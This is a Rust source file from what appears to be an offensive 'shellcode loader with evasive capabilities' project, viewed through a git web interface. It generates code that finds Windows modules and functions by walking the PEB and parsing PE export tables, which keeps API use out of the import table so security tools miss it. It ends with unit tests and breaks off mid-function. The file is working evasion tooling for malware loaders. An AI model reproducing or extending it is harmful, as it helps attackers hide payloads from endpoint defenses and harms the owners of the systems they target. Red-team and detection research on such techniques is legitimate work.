myph-v2~ rust shellcode loader with evasive capabilities |
| git clone https://github.com/djnnvx/myph-v2.git |
| log | files | refs | archive | README |
base.rs (66483B)
1 /// API resolver template for custom PEB-based module resolution 2 /// 3 /// This module provides template functions that generate code for resolving 4 /// Windows APIs without leaving static artifacts in the Import Address Table. 5 /// 6 /// Generate inline assembly code to retrieve PEB pointer for both x86 and x64 Windows 7 fn get_peb_asm() -> &'static str { 8 r#"let peb: *mut PEB; 9 #[cfg(target_pointer_width = "64")] 10 { 11 #[cfg(target_env = "msvc")] 12 std::arch::asm!("mov {}, qword ptr gs:[0x60]", out(reg) peb, options(nostack)); 13 #[cfg(not(target_env = "msvc"))] 14 std::arch::asm!("mov {}, gs:[0x60]", out(reg) peb, options(nostack)); 15 } 16 #[cfg(target_pointer_width = "32")] 17 { 18 #[cfg(target_env = "msvc")] 19 std::arch::asm!("mov {}, dword ptr fs:[0x30]", out(reg) peb, options(nostack)); 20 #[cfg(not(target_env = "msvc"))] 21 std::arch::asm!("mov {}, fs:[0x30]", out(reg) peb, options(nostack)); 22 }"# 23 } 24 25 /// Generate PEB structure imports from ntapi crate 26 pub fn peb_structures() -> &'static str { 27 r#"use std::ffi::c_void; 28 use std::ptr; 29 use ntapi::ntpebteb::PEB; 30 use ntapi::ntldr::LDR_DATA_TABLE_ENTRY; 31 use winapi::shared::ntdef::LIST_ENTRY;"# 32 } 33 34 /// Generate PE export directory structures for parsing module exports 35 pub fn pe_export_structures() -> &'static str { 36 r#"#[repr(C)] 37 #[allow(non_snake_case)] 38 struct IMAGE_DOS_HEADER { 39 e_magic: u16, 40 e_cblp: u16, 41 e_cp: u16, 42 e_crlc: u16, 43 e_cparhdr: u16, 44 e_minalloc: u16, 45 e_maxalloc: u16, 46 e_ss: u16, 47 e_sp: u16, 48 e_csum: u16, 49 e_ip: u16, 50 e_cs: u16, 51 e_lfarlc: u16, 52 e_ovno: u16, 53 e_res: [u16; 4], 54 e_oemid: u16, 55 e_oeminfo: u16, 56 e_res2: [u16; 10], 57 e_lfanew: i32, 58 } 59 60 #[repr(C)] 61 #[allow(non_snake_case)] 62 struct IMAGE_FILE_HEADER { 63 Machine: u16, 64 NumberOfSections: u16, 65 TimeDateStamp: u32, 66 PointerToSymbolTable: u32, 67 NumberOfSymbols: u32, 68 SizeOfOptionalHeader: u16, 69 Characteristics: u16, 70 } 71 72 #[repr(C)] 73 #[allow(non_snake_case)] 74 struct IMAGE_DATA_DIRECTORY { 75 VirtualAddress: u32, 76 Size: u32, 77 } 78 79 #[repr(C)] 80 #[allow(non_snake_case)] 81 struct IMAGE_OPTIONAL_HEADER64 { 82 Magic: u16, 83 MajorLinkerVersion: u8, 84 MinorLinkerVersion: u8, 85 SizeOfCode: u32, 86 SizeOfInitializedData: u32, 87 SizeOfUninitializedData: u32, 88 AddressOfEntryPoint: u32, 89 BaseOfCode: u32, 90 ImageBase: u64, 91 SectionAlignment: u32, 92 FileAlignment: u32, 93 MajorOperatingSystemVersion: u16, 94 MinorOperatingSystemVersion: u16, 95 MajorImageVersion: u16, 96 MinorImageVersion: u16, 97 MajorSubsystemVersion: u16, 98 MinorSubsystemVersion: u16, 99 Win32VersionValue: u32, 100 SizeOfImage: u32, 101 SizeOfHeaders: u32, 102 CheckSum: u32, 103 Subsystem: u16, 104 DllCharacteristics: u16, 105 SizeOfStackReserve: u64, 106 SizeOfStackCommit: u64, 107 SizeOfHeapReserve: u64, 108 SizeOfHeapCommit: u64, 109 LoaderFlags: u32, 110 NumberOfRvaAndSizes: u32, 111 DataDirectory: [IMAGE_DATA_DIRECTORY; 16], 112 } 113 114 #[repr(C)] 115 #[allow(non_snake_case)] 116 struct IMAGE_OPTIONAL_HEADER32 { 117 Magic: u16, 118 MajorLinkerVersion: u8, 119 MinorLinkerVersion: u8, 120 SizeOfCode: u32, 121 SizeOfInitializedData: u32, 122 SizeOfUninitializedData: u32, 123 AddressOfEntryPoint: u32, 124 BaseOfCode: u32, 125 BaseOfData: u32, 126 ImageBase: u32, 127 SectionAlignment: u32, 128 FileAlignment: u32, 129 MajorOperatingSystemVersion: u16, 130 MinorOperatingSystemVersion: u16, 131 MajorImageVersion: u16, 132 MinorImageVersion: u16, 133 MajorSubsystemVersion: u16, 134 MinorSubsystemVersion: u16, 135 Win32VersionValue: u32, 136 SizeOfImage: u32, 137 SizeOfHeaders: u32, 138 CheckSum: u32, 139 Subsystem: u16, 140 DllCharacteristics: u16, 141 SizeOfStackReserve: u32, 142 SizeOfStackCommit: u32, 143 SizeOfHeapReserve: u32, 144 SizeOfHeapCommit: u32, 145 LoaderFlags: u32, 146 NumberOfRvaAndSizes: u32, 147 DataDirectory: [IMAGE_DATA_DIRECTORY; 16], 148 } 149 150 #[repr(C)] 151 #[allow(non_snake_case)] 152 struct IMAGE_NT_HEADERS64 { 153 Signature: u32, 154 FileHeader: IMAGE_FILE_HEADER, 155 OptionalHeader: IMAGE_OPTIONAL_HEADER64, 156 } 157 158 #[repr(C)] 159 #[allow(non_snake_case)] 160 struct IMAGE_NT_HEADERS32 { 161 Signature: u32, 162 FileHeader: IMAGE_FILE_HEADER, 163 OptionalHeader: IMAGE_OPTIONAL_HEADER32, 164 } 165 166 #[repr(C)] 167 #[allow(non_snake_case)] 168 struct IMAGE_EXPORT_DIRECTORY { 169 Characteristics: u32, 170 TimeDateStamp: u32, 171 MajorVersion: u16, 172 MinorVersion: u16, 173 Name: u32, 174 Base: u32, 175 NumberOfFunctions: u32, 176 NumberOfNames: u32, 177 AddressOfFunctions: u32, 178 AddressOfNames: u32, 179 AddressOfNameOrdinals: u32, 180 }"# 181 } 182 183 /// Generate helper function for Unicode case folding 184 pub fn unicode_case_fold_fn() -> &'static str { 185 r#"unsafe fn unicode_case_fold(c: u16) -> u16 { 186 match c { 187 0x0041..=0x005A => c + 32, 188 0x00C0..=0x00D6 => c + 32, 189 0x00D8..=0x00DE => c + 32, 190 0x0100..=0x012E => if c % 2 == 0 { c + 1 } else { c }, 191 0x0132..=0x0136 => if c % 2 == 0 { c + 1 } else { c }, 192 0x0139..=0x0147 => if c % 2 == 1 { c + 1 } else { c }, 193 0x014A..=0x0176 => if c % 2 == 0 { c + 1 } else { c }, 194 0x0178 => 0x00FF, 195 0x0179..=0x017D => if c % 2 == 1 { c + 1 } else { c }, 196 0x0181 => 0x0253, 197 0x0182..=0x0184 => if c % 2 == 0 { c + 1 } else { c }, 198 0x0186 => 0x0254, 199 0x0187 => 0x0188, 200 0x0189 => 0x0256, 201 0x018A => 0x0257, 202 0x018B => 0x018C, 203 0x018E => 0x01DD, 204 0x018F => 0x0259, 205 0x0190 => 0x025B, 206 0x0191 => 0x0192, 207 0x0193 => 0x0260, 208 0x0194 => 0x0263, 209 0x0196 => 0x0269, 210 0x0197 => 0x0268, 211 0x0198 => 0x0199, 212 0x019C => 0x026F, 213 0x019D => 0x0272, 214 0x019F => 0x0275, 215 0x01A0..=0x01A4 => if c % 2 == 0 { c + 1 } else { c }, 216 0x01A6 => 0x0280, 217 0x01A7 => 0x01A8, 218 0x01A9 => 0x0283, 219 0x01AC => 0x01AD, 220 0x01AE => 0x0288, 221 0x01AF => 0x01B0, 222 0x01B1 => 0x028A, 223 0x01B2 => 0x028B, 224 0x01B3..=0x01B5 => if c % 2 == 1 { c + 1 } else { c }, 225 0x01B7 => 0x0292, 226 0x01B8 => 0x01B9, 227 0x01BC => 0x01BD, 228 0x01C4 => 0x01C6, 229 0x01C5 => 0x01C6, 230 0x01C7 => 0x01C9, 231 0x01C8 => 0x01C9, 232 0x01CA => 0x01CC, 233 0x01CB..=0x01DB => if c % 2 == 1 { c + 1 } else { c }, 234 0x01DE..=0x01EE => if c % 2 == 0 { c + 1 } else { c }, 235 0x01F1 => 0x01F3, 236 0x01F2 => 0x01F3, 237 0x01F4 => 0x01F5, 238 0x01F6 => 0x0195, 239 0x01F7 => 0x01BF, 240 0x01F8..=0x021E => if c % 2 == 0 { c + 1 } else { c }, 241 0x0220 => 0x019E, 242 0x0222..=0x0232 => if c % 2 == 0 { c + 1 } else { c }, 243 0x023A => 0x2C65, 244 0x023B => 0x023C, 245 0x023D => 0x019A, 246 0x023E => 0x2C66, 247 0x0241 => 0x0242, 248 0x0243 => 0x0180, 249 0x0244 => 0x0289, 250 0x0245 => 0x028C, 251 0x0246..=0x024E => if c % 2 == 0 { c + 1 } else { c }, 252 0x0370..=0x0372 => if c % 2 == 0 { c + 1 } else { c }, 253 0x0376 => 0x0377, 254 0x037F => 0x03F3, 255 0x0386 => 0x03AC, 256 0x0388..=0x038A => c + 37, 257 0x038C => 0x03CC, 258 0x038E..=0x038F => c + 63, 259 0x0391..=0x03A1 => c + 32, 260 0x03A3..=0x03AB => c + 32, 261 0x03CF => 0x03D7, 262 0x03D8..=0x03EE => if c % 2 == 0 { c + 1 } else { c }, 263 0x03F4 => 0x03B8, 264 0x03F7 => 0x03F8, 265 0x03F9 => 0x03F2, 266 0x03FA => 0x03FB, 267 0x03FD..=0x03FF => c - 130, 268 0x0400..=0x040F => c + 80, 269 0x0410..=0x042F => c + 32, 270 0x0460..=0x0480 => if c % 2 == 0 { c + 1 } else { c }, 271 0x048A..=0x04BE => if c % 2 == 0 { c + 1 } else { c }, 272 0x04C0 => 0x04CF, 273 0x04C1..=0x04CD => if c % 2 == 1 { c + 1 } else { c }, 274 0x04D0..=0x052E => if c % 2 == 0 { c + 1 } else { c }, 275 0x0531..=0x0556 => c + 48, 276 0x10A0..=0x10C5 => c + 7264, 277 0x10C7 => 0x2D27, 278 0x10CD => 0x2D2D, 279 0x13A0..=0x13EF => c + 38864, 280 0x13F0..=0x13F5 => c + 8, 281 0x1C90..=0x1CBA => c - 3008, 282 0x1CBD..=0x1CBF => c - 3008, 283 0x1E00..=0x1E94 => if c % 2 == 0 { c + 1 } else { c }, 284 0x1E9E => 0x00DF, 285 0x1EA0..=0x1EFE => if c % 2 == 0 { c + 1 } else { c }, 286 0x1F08..=0x1F0F => c - 8, 287 0x1F18..=0x1F1D => c - 8, 288 0x1F28..=0x1F2F => c - 8, 289 0x1F38..=0x1F3F => c - 8, 290 0x1F48..=0x1F4D => c - 8, 291 0x1F59 | 0x1F5B | 0x1F5D | 0x1F5F => c - 8, 292 0x1F68..=0x1F6F => c - 8, 293 0x1F88..=0x1F8F => c - 8, 294 0x1F98..=0x1F9F => c - 8, 295 0x1FA8..=0x1FAF => c - 8, 296 0x1FB8..=0x1FB9 => c - 8, 297 0x1FBA..=0x1FBB => c - 74, 298 0x1FBC => 0x1FB3, 299 0x1FC8..=0x1FCB => c - 86, 300 0x1FCC => 0x1FC3, 301 0x1FD8..=0x1FD9 => c - 8, 302 0x1FDA..=0x1FDB => c - 100, 303 0x1FE8..=0x1FE9 => c - 8, 304 0x1FEA..=0x1FEB => c - 112, 305 0x1FEC => 0x1FE5, 306 0x1FF8..=0x1FF9 => c - 128, 307 0x1FFA..=0x1FFB => c - 126, 308 0x1FFC => 0x1FF3, 309 0x2126 => 0x03C9, 310 0x212A => 0x006B, 311 0x212B => 0x00E5, 312 0x2132 => 0x214E, 313 0x2160..=0x216F => c + 16, 314 0x2183 => 0x2184, 315 0x24B6..=0x24CF => c + 26, 316 0x2C00..=0x2C2F => c + 48, 317 0x2C60 => 0x2C61, 318 0x2C62 => 0x026B, 319 0x2C63 => 0x1D7D, 320 0x2C64 => 0x027D, 321 0x2C67..=0x2C6B => if c % 2 == 1 { c + 1 } else { c }, 322 0x2C6D => 0x0251, 323 0x2C6E => 0x0271, 324 0x2C6F => 0x0250, 325 0x2C70 => 0x0252, 326 0x2C72 => 0x2C73, 327 0x2C75 => 0x2C76, 328 0x2C7E..=0x2C7F => c - 10815, 329 0x2C80..=0x2CE2 => if c % 2 == 0 { c + 1 } else { c }, 330 0x2CEB..=0x2CED => if c % 2 == 1 { c + 1 } else { c }, 331 0x2CF2 => 0x2CF3, 332 0xA640..=0xA66C => if c % 2 == 0 { c + 1 } else { c }, 333 0xA680..=0xA69A => if c % 2 == 0 { c + 1 } else { c }, 334 0xA722..=0xA72E => if c % 2 == 0 { c + 1 } else { c }, 335 0xA732..=0xA76E => if c % 2 == 0 { c + 1 } else { c }, 336 0xA779..=0xA77B => if c % 2 == 1 { c + 1 } else { c }, 337 0xA77D => 0x1D79, 338 0xA77E..=0xA786 => if c % 2 == 0 { c + 1 } else { c }, 339 0xA78B => 0xA78C, 340 0xA78D => 0x0265, 341 0xA790..=0xA792 => if c % 2 == 0 { c + 1 } else { c }, 342 0xA796..=0xA7A8 => if c % 2 == 0 { c + 1 } else { c }, 343 0xA7AA => 0x0266, 344 0xA7AB => 0x025C, 345 0xA7AC => 0x0261, 346 0xA7AD => 0x026C, 347 0xA7AE => 0x026A, 348 0xA7B0 => 0x029E, 349 0xA7B1 => 0x0287, 350 0xA7B2 => 0x029D, 351 0xA7B3 => 0xAB53, 352 0xA7B4..=0xA7C2 => if c % 2 == 0 { c + 1 } else { c }, 353 0xA7C4 => 0xA794, 354 0xA7C5 => 0x0282, 355 0xA7C6 => 0x1D8E, 356 0xA7C7..=0xA7C9 => if c % 2 == 1 { c + 1 } else { c }, 357 0xA7D0 => 0xA7D1, 358 0xA7D6 => 0xA7D7, 359 0xA7D8 => 0xA7D9, 360 0xA7F5 => 0xA7F6, 361 0xFF21..=0xFF3A => c + 32, 362 _ => c, 363 } 364 }"# 365 } 366 367 /// Generate helper function for comparing DLL names with Unicode case folding 368 pub fn is_dll_match_fn() -> &'static str { 369 r#"unsafe fn is_dll_match(ldr_entry: *mut LDR_DATA_TABLE_ENTRY, target: &str) -> bool { 370 if ldr_entry.is_null() || (*ldr_entry).BaseDllName.Buffer.is_null() { 371 return false; 372 } 373 374 let len = (*ldr_entry).BaseDllName.Length as usize / 2; 375 let name_slice = std::slice::from_raw_parts( 376 (*ldr_entry).BaseDllName.Buffer, 377 len 378 ); 379 380 let target_w: Vec<u16> = target.encode_utf16().collect(); 381 382 if name_slice.len() != target_w.len() { 383 return false; 384 } 385 386 name_slice.iter().zip(target_w.iter()).all(|(a, b)| { 387 unicode_case_fold(*a) == unicode_case_fold(*b) 388 }) 389 }"# 390 } 391 392 /// Generate the main PEB-walking resolver function 393 pub fn get_module_base_fn() -> String { 394 format!( 395 r#"pub unsafe fn get_module_base(target_dll: &str) -> *mut c_void {{ 396 {} 397 398 if peb.is_null() {{ 399 return ptr::null_mut(); 400 }} 401 402 let ldr = (*peb).Ldr; 403 if ldr.is_null() {{ 404 return ptr::null_mut(); 405 }} 406 407 let head = &mut (*ldr).InMemoryOrderModuleList as *mut LIST_ENTRY; 408 let mut curr = (*head).Flink; 409 410 while curr != head {{ 411 let entry = (curr as *mut u8).sub(0x10) as *mut LDR_DATA_TABLE_ENTRY; 412 413 if is_dll_match(entry, target_dll) {{ 414 return (*entry).DllBase as *mut c_void; 415 }} 416 curr = (*curr).Flink; 417 }} 418 419 ptr::null_mut() 420 }}"#, 421 get_peb_asm() 422 ) 423 } 424 425 /// Generate function to resolve function address from module exports 426 pub fn get_function_address_fn() -> &'static str { 427 r#"pub unsafe fn get_function_address(module_base: *mut c_void, function_name: &str) -> *mut c_void { 428 get_function_address_internal(module_base, function_name, 0) 429 } 430 431 unsafe fn get_function_address_internal(module_base: *mut c_void, function_name: &str, depth: u32) -> *mut c_void { 432 const MAX_FORWARD_STR_LEN: isize = 256; 433 const MAX_RECURSION_DEPTH: u32 = 10; 434 435 if module_base.is_null() || depth > MAX_RECURSION_DEPTH { 436 return ptr::null_mut(); 437 } 438 439 let dos_header = module_base as *const IMAGE_DOS_HEADER; 440 if (*dos_header).e_magic != 0x5A4D { 441 return ptr::null_mut(); 442 } 443 444 #[cfg(target_pointer_width = "64")] 445 let (export_dir_rva, export_dir_size) = { 446 let nt_headers = (module_base as *const u8).offset((*dos_header).e_lfanew as isize) as *const IMAGE_NT_HEADERS64; 447 if (*nt_headers).Signature != 0x4550 { 448 return ptr::null_mut(); 449 } 450 ( 451 (*nt_headers).OptionalHeader.DataDirectory[0].VirtualAddress, 452 (*nt_headers).OptionalHeader.DataDirectory[0].Size 453 ) 454 }; 455 456 #[cfg(target_pointer_width = "32")] 457 let (export_dir_rva, export_dir_size) = { 458 let nt_headers = (module_base as *const u8).offset((*dos_header).e_lfanew as isize) as *const IMAGE_NT_HEADERS32; 459 if (*nt_headers).Signature != 0x4550 { 460 return ptr::null_mut(); 461 } 462 ( 463 (*nt_headers).OptionalHeader.DataDirectory[0].VirtualAddress, 464 (*nt_headers).OptionalHeader.DataDirectory[0].Size 465 ) 466 }; 467 468 if export_dir_rva == 0 { 469 return ptr::null_mut(); 470 } 471 472 let export_dir = (module_base as *const u8).offset(export_dir_rva as isize) as *const IMAGE_EXPORT_DIRECTORY; 473 474 let num_names = (*export_dir).NumberOfNames; 475 let addr_of_names = (module_base as *const u8).offset((*export_dir).AddressOfNames as isize) as *const u32; 476 let addr_of_functions = (module_base as *const u8).offset((*export_dir).AddressOfFunctions as isize) as *const u32; 477 let addr_of_name_ordinals = (module_base as *const u8).offset((*export_dir).AddressOfNameOrdinals as isize) as *const u16; 478 479 let target_bytes = function_name.as_bytes(); 480 481 for i in 0..num_names { 482 let name_rva = *addr_of_names.offset(i as isize); 483 let name_ptr = (module_base as *const u8).offset(name_rva as isize); 484 485 let mut match_found = true; 486 let mut j = 0; 487 while j < target_bytes.len() { 488 if *name_ptr.offset(j as isize) != target_bytes[j] { 489 match_found = false; 490 break; 491 } 492 j += 1; 493 } 494 495 if match_found && *name_ptr.offset(j as isize) == 0 { 496 let ordinal = *addr_of_name_ordinals.offset(i as isize); 497 let func_rva = *addr_of_functions.offset(ordinal as isize); 498 499 if func_rva >= export_dir_rva && func_rva < export_dir_rva + export_dir_size { 500 let forward_str_ptr = (module_base as *const u8).offset(func_rva as isize); 501 let mut forward_str = Vec::new(); 502 let mut k = 0; 503 loop { 504 let byte = *forward_str_ptr.offset(k); 505 if byte == 0 { 506 break; 507 } 508 forward_str.push(byte); 509 k += 1; 510 if k > MAX_FORWARD_STR_LEN { 511 return ptr::null_mut(); 512 } 513 } 514 515 if let Ok(forward_string) = std::str::from_utf8(&forward_str) { 516 if let Some(dot_pos) = forward_string.find('.') { 517 let dll_name = &forward_string[..dot_pos]; 518 let func_name = &forward_string[dot_pos + 1..]; 519 520 let mut dll_with_ext = String::from(dll_name); 521 if !dll_with_ext.ends_with(".dll") { 522 dll_with_ext.push_str(".dll"); 523 } 524 525 let forwarded_module = get_module_base(&dll_with_ext); 526 if !forwarded_module.is_null() { 527 return get_function_address_internal(forwarded_module, func_name, depth + 1); 528 } 529 } 530 } 531 return ptr::null_mut(); 532 } 533 534 return (module_base as *const u8).offset(func_rva as isize) as *mut c_void; 535 } 536 } 537 538 ptr::null_mut() 539 }"# 540 } 541 542 /// Generate complete API resolver module code 543 pub fn generate_api_resolver() -> String { 544 format!( 545 "{}\n\n{}\n\n{}\n\n{}\n\n{}\n\n{}", 546 peb_structures(), 547 pe_export_structures(), 548 unicode_case_fold_fn(), 549 is_dll_match_fn(), 550 get_module_base_fn(), 551 get_function_address_fn() 552 ) 553 } 554 555 #[cfg(test)] 556 mod tests { 557 use super::*; 558 559 #[test] 560 fn test_peb_structures_contains_all_types() { 561 let code = peb_structures(); 562 assert!(code.contains("PEB")); 563 assert!(code.contains("LIST_ENTRY")); 564 assert!(code.contains("LDR_DATA_TABLE_ENTRY")); 565 } 566 567 #[test] 568 fn test_peb_structures_has_imports() { 569 let code = peb_structures(); 570 assert!(code.contains("use ntapi::ntpebteb")); 571 assert!(code.contains("use ntapi::ntldr")); 572 assert!(code.contains("use winapi::shared::ntdef")); 573 } 574 575 #[test] 576 fn test_peb_structures_imports_peb_types() { 577 let code = peb_structures(); 578 assert!(code.contains("PEB")); 579 } 580 581 #[test] 582 fn test_peb_structures_imports_ldr_types() { 583 let code = peb_structures(); 584 assert!(code.contains("LDR_DATA_TABLE_ENTRY")); 585 } 586 587 #[test] 588 fn test_peb_structures_imports_ntdef_types() { 589 let code = peb_structures(); 590 assert!(code.contains("LIST_ENTRY")); 591 } 592 593 // These tests no longer apply since we're using crate types instead of manual definitions 594 // The types from ntapi are #[repr(C)] and have correct field layouts by definition 595 596 #[test] 597 fn test_is_dll_match_checks_null() { 598 let code = is_dll_match_fn(); 599 assert!(code.contains("is_null()")); 600 assert!(code.contains("return false")); 601 } 602 603 #[test] 604 fn test_is_dll_match_uses_wide_strings() { 605 let code = is_dll_match_fn(); 606 assert!(code.contains("encode_utf16")); 607 assert!(code.contains("Vec<u16>")); 608 } 609 610 #[test] 611 fn test_is_dll_match_compares_names() { 612 let code = is_dll_match_fn(); 613 assert!(code.contains("unicode_case_fold")); 614 assert!(code.contains("BaseDllName")); 615 assert!(code.contains("name_slice.len() != target_w.len()")); 616 } 617 618 #[test] 619 fn test_get_module_base_reads_peb() { 620 let code = get_module_base_fn(); 621 assert!(code.contains("gs:[0x60]") || code.contains("fs:[0x30]")); 622 assert!(code.contains("std::arch::asm!")); 623 assert!(code.contains("target_pointer_width")); 624 } 625 626 #[test] 627 fn test_get_module_base_walks_list() { 628 let code = get_module_base_fn(); 629 assert!(code.contains("while curr != head")); 630 assert!(code.contains("(*curr).Flink")); // PascalCase from ntapi 631 } 632 633 #[test] 634 fn test_get_module_base_calculates_entry_offset() { 635 let code = get_module_base_fn(); 636 assert!(code.contains("0x10")); // Offset to InMemoryOrderLinks in LDR_DATA_TABLE_ENTRY 637 assert!(code.contains("LDR_DATA_TABLE_ENTRY")); 638 } 639 640 #[test] 641 fn test_get_module_base_returns_dll_base() { 642 let code = get_module_base_fn(); 643 assert!(code.contains("return (*entry).DllBase as *mut c_void")); // Cast to std::ffi::c_void 644 } 645 646 #[test] 647 fn test_get_module_base_returns_null_if_not_found() { 648 let code = get_module_base_fn(); 649 assert!(code.contains("ptr::null_mut()")); 650 } 651 652 #[test] 653 fn test_get_module_base_uses_is_dll_match() { 654 let code = get_module_base_fn(); 655 assert!(code.contains("is_dll_match(entry, target_dll)")); 656 } 657 658 #[test] 659 fn test_generate_api_resolver_includes_all_parts() { 660 let code = generate_api_resolver(); 661 assert!(code.contains("use ntapi")); // Check for imports instead of struct definitions 662 assert!(code.contains("unsafe fn is_dll_match")); 663 assert!(code.contains("pub unsafe fn get_module_base")); 664 } 665 666 #[test] 667 fn test_generate_api_resolver_properly_formatted() { 668 let code = generate_api_resolver(); 669 let lines: Vec<&str> = code.lines().collect(); 670 assert!( 671 lines.len() > 10, 672 "Generated code should have multiple lines" 673 ); 674 } 675 676 #[test] 677 fn test_pe_export_structures_contains_all_types() { 678 let code = pe_export_structures(); 679 assert!(code.contains("IMAGE_DOS_HEADER")); 680 assert!(code.contains("IMAGE_NT_HEADERS64")); 681 assert!(code.contains("IMAGE_EXPORT_DIRECTORY")); 682 assert!(code.contains("IMAGE_FILE_HEADER")); 683 assert!(code.contains("IMAGE_OPTIONAL_HEADER64")); 684 assert!(code.contains("IMAGE_DATA_DIRECTORY")); 685 } 686 687 #[test] 688 fn test_pe_export_structures_has_required_fields() { 689 let code = pe_export_structures(); 690 assert!(code.contains("e_magic")); 691 assert!(code.contains("e_lfanew")); 692 assert!(code.contains("DataDirectory")); 693 assert!(code.contains("NumberOfFunctions")); 694 assert!(code.contains("AddressOfFunctions")); 695 assert!(code.contains("AddressOfNames")); 696 assert!(code.contains("AddressOfNameOrdinals")); 697 } 698 699 #[test] 700 fn test_get_function_address_checks_null_module() { 701 let code = get_function_address_fn(); 702 assert!(code.contains("if module_base.is_null()")); 703 assert!(code.contains("return ptr::null_mut()")); 704 } 705 706 #[test] 707 fn test_get_function_address_validates_pe_signature() { 708 let code = get_function_address_fn(); 709 assert!(code.contains("0x5A4D")); // MZ signature 710 assert!(code.contains("0x4550")); // PE signature 711 } 712 713 #[test] 714 fn test_get_function_address_parses_export_directory() { 715 let code = get_function_address_fn(); 716 assert!(code.contains("IMAGE_EXPORT_DIRECTORY")); 717 assert!(code.contains("NumberOfNames")); 718 assert!(code.contains("AddressOfNames")); 719 assert!(code.contains("AddressOfFunctions")); 720 assert!(code.contains("AddressOfNameOrdinals")); 721 } 722 723 #[test] 724 fn test_get_function_address_compares_function_names() { 725 let code = get_function_address_fn(); 726 assert!(code.contains("function_name.as_bytes()")); 727 assert!(code.contains("name_ptr")); 728 } 729 730 #[test] 731 fn test_get_function_address_returns_function_pointer() { 732 let code = get_function_address_fn(); 733 assert!(code.contains("func_rva")); 734 assert!(code.contains("as *mut c_void")); 735 } 736 737 #[test] 738 fn test_generate_api_resolver_includes_export_parsing() { 739 let code = generate_api_resolver(); 740 assert!(code.contains("IMAGE_EXPORT_DIRECTORY")); 741 assert!(code.contains("pub unsafe fn get_function_address")); 742 } 743 744 #[test] 745 fn test_generate_api_resolver_has_both_functions() { 746 let code = generate_api_resolver(); 747 assert!(code.contains("pub unsafe fn get_module_base")); 748 assert!(code.contains("pub unsafe fn get_function_address")); 749 } 750 751 #[test] 752 fn test_unicode_case_fold_function_exists() { 753 let code = generate_api_resolver(); 754 assert!(code.contains("unsafe fn unicode_case_fold")); 755 assert!(code.contains("match c {")); 756 } 757 758 #[test] 759 fn test_x86_support_in_peb_asm() { 760 let asm_code = get_peb_asm(); 761 assert!(asm_code.contains("target_pointer_width")); 762 assert!(asm_code.contains("fs:[0x30]")); 763 assert!(asm_code.contains("gs:[0x60]")); 764 } 765 766 #[test] 767 fn test_x86_structures_exist() { 768 let code = pe_export_structures(); 769 assert!(code.contains("IMAGE_NT_HEADERS32")); 770 assert!(code.contains("IMAGE_OPTIONAL_HEADER32")); 771 assert!(code.contains("BaseOfData")); 772 } 773 774 #[test] 775 fn test_forwarded_export_detection() { 776 let code = get_function_address_fn(); 777 assert!(code.contains("export_dir_size")); 778 assert!(code.contains("forward_str")); 779 assert!(code.contains("get_module_base")); 780 } 781 782 #[test] 783 fn test_forwarded_export_recursion_limit() { 784 let code = get_function_address_fn(); 785 assert!(code.contains("depth")); 786 assert!(code.contains("MAX_RECURSION_DEPTH") || code.contains("depth > 10")); 787 } 788 789 #[test] 790 fn test_forwarded_export_parsing() { 791 let code = get_function_address_fn(); 792 assert!(code.contains("find('.')")); 793 assert!(code.contains("dll_name")); 794 assert!(code.contains("func_name")); 795 } 796 797 #[test] 798 fn test_x86_and_x64_conditional_compilation() { 799 let code = get_function_address_fn(); 800 assert!(code.contains("#[cfg(target_pointer_width = \"64\")]")); 801 assert!(code.contains("#[cfg(target_pointer_width = \"32\")]")); 802 assert!(code.contains("IMAGE_NT_HEADERS64")); 803 assert!(code.contains("IMAGE_NT_HEADERS32")); 804 } 805 806 #[test] 807 fn test_unicode_case_fold_has_comprehensive_mappings() { 808 let code = unicode_case_fold_fn(); 809 assert!(code.contains("0x0041..=0x005A")); 810 assert!(code.contains("0x0391..=0x03A1")); 811 assert!(code.contains("0x0410..=0x042F")); 812 assert!(code.contains("0xFF21..=0xFF3A")); 813 } 814 815 #[test] 816 fn test_is_dll_match_uses_unicode_case_fold() { 817 let code = is_dll_match_fn(); 818 assert!(code.contains("unicode_case_fold(*a)")); 819 assert!(code.contains("unicode_case_fold(*b)")); 820 } 821 822 // Shared helper functions for Windows integration tests 823 #[cfg(target_os = "windows")] 824 mod test_helpers { 825 use ntapi::ntldr::LDR_DATA_TABLE_ENTRY; 826 use ntapi::ntpebteb::PEB; 827 use std::ptr; 828 use winapi::shared::ntdef::LIST_ENTRY; 829 830 unsafe fn unicode_case_fold_impl(c: u16) -> u16 { 831 match c { 832 0x0041..=0x005A => c + 32, 833 0x00C0..=0x00D6 => c + 32, 834 0x00D8..=0x00DE => c + 32, 835 0x0100..=0x012E => { 836 if c % 2 == 0 { 837 c + 1 838 } else { 839 c 840 } 841 } 842 0x0132..=0x0136 => { 843 if c % 2 == 0 { 844 c + 1 845 } else { 846 c 847 } 848 } 849 0x0139..=0x0147 => { 850 if c % 2 == 1 { 851 c + 1 852 } else { 853 c 854 } 855 } 856 0x014A..=0x0176 => { 857 if c % 2 == 0 { 858 c + 1 859 } else { 860 c 861 } 862 } 863 0x0178 => 0x00FF, 864 0x0179..=0x017D => { 865 if c % 2 == 1 { 866 c + 1 867 } else { 868 c 869 } 870 } 871 0x0391..=0x03A1 => c + 32, 872 0x03A3..=0x03AB => c + 32, 873 0x0410..=0x042F => c + 32, 874 0x0460..=0x0480 => { 875 if c % 2 == 0 { 876 c + 1 877 } else { 878 c 879 } 880 } 881 0xFF21..=0xFF3A => c + 32, 882 _ => c, 883 } 884 } 885 886 pub unsafe fn is_dll_match_impl( 887 ldr_entry: *mut LDR_DATA_TABLE_ENTRY, 888 target: &str, 889 ) -> bool { 890 if ldr_entry.is_null() || (*ldr_entry).BaseDllName.Buffer.is_null() { 891 return false; 892 } 893 894 let len = (*ldr_entry).BaseDllName.Length as usize / 2; 895 let name_slice = std::slice::from_raw_parts((*ldr_entry).BaseDllName.Buffer, len); 896 897 let target_w: Vec<u16> = target.encode_utf16().collect(); 898 899 if name_slice.len() != target_w.len() { 900 return false; 901 } 902 903 name_slice 904 .iter() 905 .zip(target_w.iter()) 906 .all(|(a, b)| unicode_case_fold_impl(*a) == unicode_case_fold_impl(*b)) 907 } 908 909 pub unsafe fn get_peb_impl() -> *mut PEB { 910 let peb: *mut PEB; 911 #[cfg(target_pointer_width = "64")] 912 { 913 #[cfg(target_env = "msvc")] 914 std::arch::asm!( 915 "mov {}, qword ptr gs:[0x60]", 916 out(reg) peb, 917 options(nostack) 918 ); 919 #[cfg(not(target_env = "msvc"))] 920 std::arch::asm!( 921 "mov {}, gs:[0x60]", 922 out(reg) peb, 923 options(nostack) 924 ); 925 } 926 #[cfg(target_pointer_width = "32")] 927 { 928 #[cfg(target_env = "msvc")] 929 